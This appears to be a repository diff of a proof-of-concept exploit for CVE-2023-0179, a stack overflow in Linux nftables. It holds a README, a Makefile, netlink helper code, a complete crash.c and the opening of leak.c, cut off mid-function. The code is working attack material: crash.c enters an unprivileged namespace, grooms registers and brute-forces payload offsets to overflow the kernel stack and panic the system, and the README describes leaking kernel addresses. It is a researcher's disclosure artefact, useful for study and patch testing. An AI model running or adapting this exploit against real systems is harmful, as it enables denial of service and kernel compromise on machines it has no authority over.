🤬
  • ■ ■ ■ ■ ■ ■
    .gitignore
     1 +.vscode
     2 + 
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +objects-leak = ./leak.o ./helpers.o
     2 +objects-crash = ./crash.o ./helpers.o
     3 +
     4 +.PHONY: clean leak crash
     5 +
     6 +leak: $(objects-leak)
     7 + $(CC) $(objects-leak) -lmnl -lnftnl -o leak
     8 +
     9 +crash: $(objects-crash)
     10 + $(CC) $(objects-crash) -lmnl -lnftnl -o crash
     11 +
     12 +./%.o: %.c
     13 + $(CC) -c $(CFLAGS) -o "$@" "$<"
     14 +
     15 +clean:
     16 + rm -rf ./leak.o ./helpers.o ./leak ./crash.o ./crash
     17 + 
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# CVE-2023-0179 PoC
     2 + 
     3 +This repository contains the exploit for my recently discovered vulnerability in Nftables that was assigned CVE-2023-0179, affecting all Linux versions from 5.5 to 6.2-rc3, although the exploit was tested on 6.1.6.
     4 + 
     5 +The vulnerability details and writeup can be found on [oss-security](https://www.openwall.com/lists/oss-security/2023/01/13/2)
     6 + 
     7 +## Building instructions
     8 +Just invoke the `make` command and two executables will be generated.
     9 + 
     10 +`libmnl` and `libnftnl` are required for the build to succeed:
     11 +```bash
     12 +sudo apt-get install libmnl-dev libnftnl-dev
     13 +```
     14 + 
     15 +## Infoleak
     16 + 
     17 +The exploit will enter an unprivileged user and network namespace and add a `rule_add_payload()` expression which, when evaluated, will trigger the stack buffer overflow and overwrite the registers.
     18 + 
     19 +The content is then retrieved with the following nft command:
     20 + 
     21 +`nft list map netdev mytable myset12`
     22 + 
     23 +The output will leak several shuffled addresses relative to kernel data structures.
     24 + 
     25 +## LPE
     26 + 
     27 +TODO: for now, the crash binary will just panic the kernel.
     28 + 
     29 +## Credits
     30 +- David Bouman's `libnftnl` [implementation](https://github.com/pqlx/CVE-2022-1015) and detailed [blog post](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/)
  • ■ ■ ■ ■ ■ ■
    crash.c
     1 +#define _GNU_SOURCE 1
     2 +#include <time.h>
     3 +#include <string.h>
     4 +#include <stddef.h>
     5 +#include <netinet/in.h>
     6 +#include <netinet/udp.h>
     7 +#include <errno.h>
     8 +#include <sys/mman.h>
     9 +#include <sched.h>
     10 +#include <unistd.h>
     11 +#include <fcntl.h>
     12 +#include <sys/prctl.h>
     13 +#include <linux/limits.h>
     14 +#include <linux/netfilter.h>
     15 +#include <linux/netfilter/nf_tables.h>
     16 +#include <stdio.h>
     17 +#include <sys/types.h>
     18 +#include <sys/socket.h>
     19 +#include <arpa/inet.h>
     20 +#include <net/if.h>
     21 +#include <linux/if_packet.h>
     22 +#include <linux/if_vlan.h>
     23 +#include <net/ethernet.h>
     24 +#include <stdlib.h>
     25 +#include <libmnl/libmnl.h>
     26 +#include <libnftnl/table.h>
     27 +#include <libnftnl/chain.h>
     28 +#include <libnftnl/set.h>
     29 +#include <libnftnl/rule.h>
     30 +#include <libnftnl/expr.h>
     31 +#include <limits.h>
     32 +
     33 +#include "helpers.h"
     34 +
     35 +#define VLAN_HLEN 4
     36 +#define VLAN_ETH_HLEN 18
     37 +
     38 +int create_final_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len) {
     39 + struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
     40 + // 1. register grooming
     41 + char *data[] = {"ABBB", "BBBB", "BCCC", "CCCC", "CAAA", "AAAA", "AAAA", "AAAA", "AAAA",
     42 + "AAAA","AAAA", "AAAA", "AAAA", "AAAA","AAAA", "AAAA", "AAAA"};
     43 +
     44 + for (int reg = NFT_REG32_00; reg <= NFT_REG32_15; reg++) {
     45 + rule_add_immediate_data(r, reg, (void *) data[reg - NFT_REG32_00], 4);
     46 + }
     47 +
     48 + // 2. trigger overflow
     49 + rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_15);
     50 +
     51 + // 3. break from the regs verdict switch, going back to the corrupted previous chain
     52 + rule_add_immediate_verdict(r, NFT_CONTINUE, "final_chain");
     53 +
     54 + // Commit rule to the kernel
     55 + return send_batch_request(
     56 + nl,
     57 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     58 + NLM_F_CREATE, family, (void**)&r, seq,
     59 + NULL
     60 + );
     61 +}
     62 +
     63 +int create_jmp_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
     64 +{
     65 + struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
     66 + int i = atoi(chain_name);
     67 + i++;
     68 + char next_chain[5];
     69 + sprintf(next_chain, "%d", i);
     70 +
     71 + if (i == 8) {
     72 + // jump to the overflow chain
     73 + rule_add_immediate_verdict(r, NFT_JUMP, "final_chain");
     74 + } else {
     75 + // jump to the next jmp chain, incrementing stackptr
     76 + rule_add_immediate_verdict(r, NFT_JUMP, next_chain);
     77 + }
     78 +
     79 + // Commit rule to the kernel
     80 + return send_batch_request(
     81 + nl,
     82 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     83 + NLM_F_CREATE, family, (void**)&r, seq,
     84 + NULL
     85 + );
     86 +}
     87 +
     88 +int create_base_chain_rule_crash(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
     89 +{
     90 + struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
     91 + uint16_t num = htons(1337);
     92 + uint16_t biggerNum = htons(1338);
     93 + rule_add_immediate_data(r, NFT_REG32_15, &num, sizeof num);
     94 +
     95 + rule_add_cmp(r, NFT_CMP_NEQ, NFT_REG32_15, &biggerNum, sizeof biggerNum);
     96 +
     97 + rule_add_immediate_verdict(r, NFT_JUMP, "0");
     98 +
     99 + // Commit rule to the kernel
     100 + return send_batch_request(
     101 + nl,
     102 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     103 + NLM_F_CREATE, family, (void**)&r, seq,
     104 + NULL
     105 + );
     106 +}
     107 +
     108 +int main(int argc, char** argv, char** envp)
     109 +{
     110 + if (argc < 2) {
     111 + puts("[+] Dropping into network namespace");
     112 +
     113 + char* new_argv[] = {
     114 + "/usr/bin/unshare",
     115 + "-Urn",
     116 + argv[0],
     117 + "EXPLOIT",
     118 + NULL
     119 + };
     120 +
     121 + execve(new_argv[0], new_argv, envp);
     122 + puts("Couldn't start unshare wrapper..");
     123 + puts("Recompile the exploit with an appropriate unshare path.");
     124 + exit(EXIT_FAILURE);
     125 + }
     126 + if (strcmp("EXPLOIT", argv[1])) {
     127 + puts("[-] Something went wrong...");
     128 + exit(EXIT_FAILURE);
     129 + }
     130 +
     131 + puts("[+] Setting up the network namespace environment");
     132 + system("./setup.sh");
     133 +
     134 + struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
     135 +
     136 + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
     137 + perror("[-] mnl_socket_bind");
     138 + exit(EXIT_FAILURE);
     139 + }
     140 + int seq = time(NULL);
     141 + int err;
     142 +
     143 + char *table_name = "exploit_table",
     144 + *base_chain_name = "base_chain",
     145 + *final_chain_name = "final_chain",
     146 + *dev_name = "eth0";
     147 +
     148 + if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL) == -1) {
     149 + perror("Failed creating table");
     150 + exit(EXIT_FAILURE);
     151 + }
     152 + printf("[+] Created nft %s\n", table_name);
     153 +
     154 + struct unft_base_chain_param bp;
     155 + bp.hook_num = NF_INET_PRE_ROUTING;
     156 + bp.prio = 10;
     157 + if (create_chain(nl, table_name, base_chain_name, dev_name, NFPROTO_NETDEV, &bp, &seq, NULL)) {
     158 + perror("Failed creating base chain");
     159 + exit(EXIT_FAILURE);
     160 + }
     161 + printf("[+] Created base bridge chain %s\n", base_chain_name);
     162 +
     163 + if (create_chain(nl, table_name, final_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
     164 + perror("Failed creating final chain");
     165 + exit(EXIT_FAILURE);
     166 + }
     167 + printf("[+] Created final chain %s\n", final_chain_name);
     168 +
     169 + char jmp_chain_name[5];
     170 + for (int i = 0; i < 8; i++) {
     171 + sprintf(jmp_chain_name, "%d", i);
     172 + if (create_chain(nl, table_name, jmp_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
     173 + perror("Failed creating jmp chain");
     174 + exit(EXIT_FAILURE);
     175 + }
     176 + printf("[+] Created jmp chain %s\n", jmp_chain_name);
     177 + }
     178 +
     179 + if (create_base_chain_rule_crash(nl, table_name, base_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
     180 + perror("Failed creating base chain rule");
     181 + exit(EXIT_FAILURE);
     182 + }
     183 +
     184 + puts("[+] Succesfully created base_chain rule!");
     185 + for (int i = 0; i < 8; i++) {
     186 + sprintf(jmp_chain_name, "%d", i);
     187 + if (create_jmp_chain_rule(nl, table_name, jmp_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
     188 + perror("Failed creating jmp chain rule");
     189 + exit(EXIT_FAILURE);
     190 + }
     191 + puts("[+] Succesfully created jmp chain rule!");
     192 + }
     193 +
     194 + uint8_t vlan_hlen = 0, ethlen;
     195 + for (uint8_t len = 0; len < UINT8_MAX; len++) {
     196 + for (uint8_t offset = 0; offset < UINT8_MAX; offset++) {
     197 + if (offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN) {
     198 + vlan_hlen = 4;
     199 + } else {
     200 + vlan_hlen = 0;
     201 + }
     202 + if (offset < VLAN_ETH_HLEN + vlan_hlen) {
     203 + uint8_t ethlen = len;
     204 + if (offset + len > VLAN_ETH_HLEN + vlan_hlen) {
     205 + ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
     206 + if (ethlen > 250 && vlan_hlen == 4 && len % 4 == 0) {
     207 + if (create_final_chain_rule(nl, table_name, final_chain_name, NFPROTO_NETDEV, NULL, &seq, offset, len)) {
     208 + perror("Failed creating final chain rule");
     209 + return EXIT_FAILURE;
     210 + } else {
     211 + printf("offset: %hhu & len: %hhu & ethlen = %hhu\n", offset, len, ethlen);
     212 + puts("[+] Successfully created exploit chain rule!");
     213 + if (send_packet() == 0) {
     214 + puts("[+] Exploit should have triggered, crashing...");
     215 + return EXIT_SUCCESS;
     216 + }
     217 + }
     218 + }
     219 + }
     220 + }
     221 + }
     222 + }
     223 + return EXIT_FAILURE;
     224 +}
     225 + 
  • ■ ■ ■ ■ ■ ■
    helpers.c
     1 +/*
     2 + * ----------------------------------------------------------------------------
     3 + * "THE BEER-WARE LICENSE" (Revision 42):
     4 + * David Bouman (pql) wrote this file. As long as you retain this notice you
     5 + * can do whatever you want with this stuff. If we meet some day, and you think
     6 + * this stuff is worth it, you can buy me a beer in return. Signed, David.
     7 + * ----------------------------------------------------------------------------
     8 + */
     9 +
     10 +#define _GNU_SOURCE
     11 +#include <stdlib.h>
     12 +#include <time.h>
     13 +#include <string.h>
     14 +#include <netinet/in.h>
     15 +#include <arpa/inet.h>
     16 +#include <stdint.h>
     17 +#include <sys/types.h>
     18 +#include <sched.h>
     19 +#include <signal.h>
     20 +#include <linux/netfilter.h>
     21 +#include <linux/netfilter/nf_tables.h>
     22 +#include <linux/netfilter/nfnetlink.h>
     23 +#include <libmnl/libmnl.h>
     24 +#include <libnftnl/table.h>
     25 +#include <libnftnl/chain.h>
     26 +#include <libnftnl/rule.h>
     27 +#include <libnftnl/set.h>
     28 +#include <libnftnl/expr.h>
     29 +#include <net/if.h>
     30 +#include <linux/if_packet.h>
     31 +
     32 +#include "helpers.h"
     33 +
     34 +#define U32_NLA_SIZE (NLA_HDRLEN + sizeof(uint32_t))
     35 +#define S8_NLA_SIZE (NLA_HDRLEN + 8)
     36 +
     37 +static uint64_t default_batch_req_handler(struct mnl_socket* nl, int portid, int table_seq)
     38 +{
     39 + char buf[MNL_SOCKET_BUFFER_SIZE];
     40 +
     41 + int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
     42 +
     43 + while (ret > 0) {
     44 + ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL);
     45 + if (ret <= 0) break;
     46 + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
     47 + }
     48 + return ret;
     49 +}
     50 +
     51 +int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
     52 +{
     53 + char buf[MNL_SOCKET_BUFFER_SIZE];
     54 + struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof buf);
     55 + uint8_t msg_type = msg & 0xff;
     56 + uint8_t nft_type = (msg >> 8) & 0xff;
     57 + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), (*seq)++);
     58 + mnl_nlmsg_batch_next(batch);
     59 + int table_seq = *seq;
     60 + struct nlmsghdr* nlh;
     61 +
     62 + if (result_handler == NULL) {
     63 + result_handler = default_batch_req_handler;
     64 + }
     65 +
     66 + if (msg == NFT_MSG_NEWSET) {
     67 + nlh = nftnl_set_nlmsg_build_hdr(
     68 + mnl_nlmsg_batch_current(batch),
     69 + NFT_MSG_NEWSET, family,
     70 + msg_flags | NLM_F_ACK, (*seq)++);
     71 + } else {
     72 + nlh = nftnl_nlmsg_build_hdr(
     73 + mnl_nlmsg_batch_current(batch),
     74 + msg_type, family,
     75 + msg_flags | NLM_F_ACK, (*seq)++
     76 + );
     77 + }
     78 + if (msg == NFT_MSG_NEWSET) {
     79 + nftnl_set_nlmsg_build_payload(nlh, *object);
     80 + nftnl_set_free(*object);
     81 + } else {
     82 + switch(nft_type) {
     83 + case NFT_TYPE_TABLE:
     84 + nftnl_table_nlmsg_build_payload(nlh, *object);
     85 + nftnl_table_free(*object);
     86 + break;
     87 + case NFT_TYPE_CHAIN:
     88 + nftnl_chain_nlmsg_build_payload(nlh, *object);
     89 + nftnl_chain_free(*object);
     90 + break;
     91 + case NFT_TYPE_RULE:
     92 + nftnl_rule_nlmsg_build_payload(nlh, *object);
     93 + // offload mnl_attr_put_u32(nlh, NFTA_CHAIN_FLAGS, htonl(2));
     94 + nftnl_rule_free(*object);
     95 + break;
     96 + default:
     97 + return -1;
     98 + }
     99 + }
     100 +
     101 + *object = NULL;
     102 +
     103 + mnl_nlmsg_batch_next(batch);
     104 + nftnl_batch_end(mnl_nlmsg_batch_current(batch), (*seq)++);
     105 + mnl_nlmsg_batch_next(batch);
     106 +
     107 + int ret = mnl_socket_sendto(
     108 + nl,
     109 + mnl_nlmsg_batch_head(batch),
     110 + mnl_nlmsg_batch_size(batch)
     111 + );
     112 +
     113 + if (ret < 0) {
     114 + perror("mnl_socket_send");
     115 + return -1;
     116 + }
     117 +
     118 + int portid = mnl_socket_get_portid(nl);
     119 +
     120 + mnl_nlmsg_batch_stop(batch);
     121 +
     122 + result_handler(nl, portid, table_seq);
     123 +}
     124 +
     125 +struct nftnl_table* build_table(char* name, uint16_t family)
     126 +{
     127 + struct nftnl_table* t = nftnl_table_alloc();
     128 +
     129 + nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
     130 + nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);
     131 +
     132 + return t;
     133 +}
     134 +
     135 +struct nftnl_chain* build_chain(char* table_name, char* chain_name, char *dev_name, struct unft_base_chain_param* base_param)
     136 +{
     137 + struct nftnl_chain* c;
     138 +
     139 + c = nftnl_chain_alloc();
     140 +
     141 + nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
     142 + nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
     143 + if (dev_name)
     144 + nftnl_chain_set_str(c, NFTNL_CHAIN_DEV, dev_name);
     145 +
     146 + if (base_param) {
     147 + nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num);
     148 + nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio);
     149 + }
     150 +
     151 + return c;
     152 +}
     153 +
     154 +struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle)
     155 +{
     156 + struct nftnl_rule* r = NULL;
     157 + uint8_t proto;
     158 +
     159 + r = nftnl_rule_alloc();
     160 +
     161 + nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
     162 + nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
     163 + nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
     164 +
     165 + if (handle) {
     166 + nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, *handle);
     167 + }
     168 +
     169 + return r;
     170 +}
     171 +
     172 +struct nftnl_set* build_set(char *table_name, char *set_name, uint16_t family) {
     173 + // Create a new set object
     174 + struct nftnl_set *set = nftnl_set_alloc();
     175 +
     176 + // Set the name of the set
     177 + nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
     178 + nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
     179 + nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_MAP);
     180 + nftnl_set_set_u32(set, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);
     181 + nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 4);
     182 + nftnl_set_set_u32(set, NFTNL_SET_DATA_LEN, 4);
     183 + nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
     184 + nftnl_set_set_u32(set, NFTNL_SET_ID, 1);
     185 +
     186 + //nftnl_set_add_expr(set, expr);
     187 + return set;
     188 +}
     189 +
     190 +#define NFTA_BITWISE_OP NFTA_BITWISE_XOR + 1
     191 +#define NFTA_BITWISE_DATA NFTA_BITWISE_OP + 1
     192 +
     193 +void rule_add_bit_shift(
     194 + struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
     195 + uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len)
     196 +{
     197 +
     198 + if(bitwise_len > 0xff) {
     199 + puts("bitwise_len > 0xff");
     200 + exit(EXIT_FAILURE);
     201 + }
     202 +
     203 + struct nftnl_expr* e;
     204 + e = nftnl_expr_alloc("bitwise");
     205 +
     206 + nftnl_expr_set_u32(e, NFTA_BITWISE_SREG, bitwise_sreg);
     207 + nftnl_expr_set_u32(e, NFTA_BITWISE_DREG, bitwise_dreg);
     208 + nftnl_expr_set_u32(e, NFTA_BITWISE_OP, shift_type);
     209 + nftnl_expr_set_u32(e, NFTA_BITWISE_LEN, bitwise_len);
     210 + nftnl_expr_set_data(e, NFTA_BITWISE_DATA, data, data_len);
     211 +
     212 + nftnl_rule_add_expr(r, e);
     213 +}
     214 +
     215 +void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg)
     216 +{
     217 + uint32_t data = 0;
     218 + rule_add_bit_shift(r, NFT_BITWISE_LSHIFT, len, sreg, dreg, &data, sizeof(data));
     219 +}
     220 +
     221 +void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data) {
     222 + struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
     223 + nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name);
     224 + nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE);
     225 + //nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
     226 + nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key);
     227 + nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);
     228 + nftnl_rule_add_expr(r, expr);
     229 +}
     230 +
     231 +void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg)
     232 +{
     233 + struct nftnl_expr* e;
     234 + e = nftnl_expr_alloc("payload");
     235 +
     236 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
     237 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
     238 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
     239 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
     240 +
     241 + nftnl_rule_add_expr(r, e);
     242 +}
     243 +
     244 +void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len)
     245 +{
     246 + struct nftnl_expr* e;
     247 + e = nftnl_expr_alloc("cmp");
     248 +
     249 + nftnl_expr_set_u32(e, NFTA_CMP_OP, op);
     250 + nftnl_expr_set_u32(e, NFTA_CMP_SREG, sreg);
     251 + nftnl_expr_set_data(e, NFTA_CMP_DATA, data, data_len);
     252 +
     253 + nftnl_rule_add_expr(r, e);
     254 +}
     255 +
     256 +void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len)
     257 +{
     258 + struct nftnl_expr* e;
     259 +
     260 + e = nftnl_expr_alloc("immediate");
     261 +
     262 + nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, dreg);
     263 + nftnl_expr_set_data(e, NFTA_IMMEDIATE_DATA, data, data_len);
     264 +
     265 + nftnl_rule_add_expr(r, e);
     266 +}
     267 +
     268 +void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name)
     269 +{
     270 + struct nftnl_expr* e;
     271 + e = nftnl_expr_alloc("immediate");
     272 +
     273 + // dreg = 0 -> verdict
     274 + nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, NFT_REG_VERDICT);
     275 +
     276 + nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict);
     277 +
     278 + if (verdict == NFT_GOTO || verdict == NFT_JUMP) {
     279 + nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain_name);
     280 + }
     281 +
     282 + nftnl_rule_add_expr(r, e);
     283 +}
     284 +
     285 +int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
     286 +{
     287 +
     288 + struct nftnl_table* t = build_table(name, family);
     289 +
     290 + return send_batch_request(
     291 + nl,
     292 + NFT_MSG_NEWTABLE | (NFT_TYPE_TABLE << 8),
     293 + NLM_F_CREATE, family, (void**)&t, seq,
     294 + result_handler
     295 + );
     296 +}
     297 +
     298 +int create_set(struct mnl_socket* nl, char *table_name, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) {
     299 + struct nftnl_set* s = build_set(table_name, name, family);
     300 +
     301 + return send_batch_request(
     302 + nl,
     303 + NFT_MSG_NEWSET,
     304 + NLM_F_CREATE, family, (void**)&s, seq,
     305 + result_handler
     306 + );
     307 +}
     308 +
     309 +int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, char* dev_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
     310 +{
     311 + struct nftnl_chain* c = build_chain(chain_name, table_name, dev_name, base_param);
     312 +
     313 + return send_batch_request(
     314 + nl,
     315 + NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
     316 + NLM_F_CREATE, family, (void**)&c, seq,
     317 + result_handler
     318 + );
     319 +}
     320 +
     321 +int send_packet() {
     322 + int sockfd;
     323 + struct sockaddr_in addr;
     324 + char buffer[] = "This is a test message";
     325 + char *interface_name = "vlan.10"; // double-tagged packet
     326 + int interface_index;
     327 + struct ifreq ifr;
     328 + memset(&ifr, 0, sizeof(ifr));
     329 + memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));
     330 +
     331 + sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     332 + if (sockfd < 0) {
     333 + perror("Error creating socket");
     334 + return 1;
     335 + }
     336 +
     337 + // Set the SO_BINDTODEVICE socket option
     338 + if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
     339 + perror("Error setting SO_BINDTODEVICE socket option");
     340 + return 1;
     341 + }
     342 +
     343 + memset(&addr, 0, sizeof(addr));
     344 + addr.sin_family = AF_INET;
     345 + addr.sin_addr.s_addr = inet_addr("192.168.123.123"); // random destination
     346 + addr.sin_port = htons(1337);
     347 +
     348 + // Send the UDP packet
     349 + if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
     350 + perror("Error sending UDP packet");
     351 + return 1;
     352 + }
     353 +
     354 + close(sockfd);
     355 + return 0;
     356 +}
  • ■ ■ ■ ■ ■ ■
    helpers.h
     1 +/*
     2 + * ----------------------------------------------------------------------------
     3 + * "THE BEER-WARE LICENSE" (Revision 42):
     4 + * David Bouman (pql) wrote this file. As long as you retain this notice you
     5 + * can do whatever you want with this stuff. If we meet some day, and you think
     6 + * this stuff is worth it, you can buy me a beer in return. Signed, David.
     7 + * ----------------------------------------------------------------------------
     8 + */
     9 +
     10 +#pragma once
     11 +#include <stdint.h>
     12 +#define MIN(a, b) ((a) < (b) ? (a) : (b))
     13 +
     14 +enum nft_types {
     15 + NFT_TYPE_TABLE = 0,
     16 + NFT_TYPE_CHAIN,
     17 + NFT_TYPE_RULE,
     18 + NFT_TYPE_SET
     19 +};
     20 +
     21 +struct unft_base_chain_param {
     22 + uint32_t hook_num;
     23 + uint32_t prio;
     24 +};
     25 +
     26 +
     27 +// build helpers
     28 +struct nftnl_table* build_table(char* name, uint16_t family);
     29 +struct nftnl_chain* build_chain(char* table_name, char* chain_name, char* dev_name, struct unft_base_chain_param* base_param);
     30 +struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle);
     31 +struct nftnl_set* build_set(char *table_name, char *set_name, uint16_t family);
     32 +
     33 +// create helpers (actually commits to the kernel)
     34 +int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*handler)(struct mnl_socket*, int, int));
     35 +
     36 +int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
     37 +int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, char* dev_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
     38 +int create_set(struct mnl_socket* nl, char *table_name, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
     39 +
     40 +// expression helpers
     41 +void rule_add_bit_shift(
     42 + struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
     43 + uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len);
     44 +void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg);
     45 +void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg);
     46 +void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len);
     47 +void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg, uint32_t offset, uint32_t len);
     48 +void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data);
     49 +void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
     50 +void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name);
     51 +
     52 +int send_packet();
  • ■ ■ ■ ■ ■ ■
    leak.c
     1 +#define _GNU_SOURCE 1
     2 +#include <time.h>
     3 +#include <string.h>
     4 +#include <stddef.h>
     5 +#include <netinet/in.h>
     6 +#include <netinet/udp.h>
     7 +#include <errno.h>
     8 +#include <sys/mman.h>
     9 +#include <sched.h>
     10 +#include <unistd.h>
     11 +#include <fcntl.h>
     12 +#include <sys/prctl.h>
     13 +#include <linux/limits.h>
     14 +#include <linux/netfilter.h>
     15 +#include <linux/netfilter/nf_tables.h>
     16 +#include <stdio.h>
     17 +#include <sys/types.h>
     18 +#include <sys/socket.h>
     19 +#include <arpa/inet.h>
     20 +#include <net/if.h>
     21 +#include <linux/if_packet.h>
     22 +#include <linux/if_vlan.h>
     23 +#include <net/ethernet.h>
     24 +#include <stdlib.h>
     25 +#include <libmnl/libmnl.h>
     26 +#include <libnftnl/table.h>
     27 +#include <libnftnl/chain.h>
     28 +#include <libnftnl/set.h>
     29 +#include <libnftnl/rule.h>
     30 +#include <libnftnl/expr.h>
     31 +#include <limits.h>
     32 +
     33 +#include "helpers.h"
     34 +
     35 +#define VLAN_HLEN 4
     36 +#define VLAN_ETH_HLEN 18
     37 +
     38 +int create_base_chain_rule_leak(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
     39 +{
     40 + struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
     41 +
     42 + /*
     43 + UDP filtering is not always possible since the datagram might not be delivered
     44 + Still, this is where you can implement your own filtering logic
     45 +
     46 + rule_add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, offsetof(struct udphdr, dest), sizeof(uint16_t), 8);
     47 + uint16_t dest_port = htons(1337);
     48 + rule_add_cmp(r, NFT_CMP_EQ, 8, &dest_port, sizeof dest_port);
     49 + */
     50 +
     51 + rule_add_immediate_verdict(r, NFT_GOTO, "exploit_chain");
     52 +
     53 + return send_batch_request(
     54 + nl,
     55 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
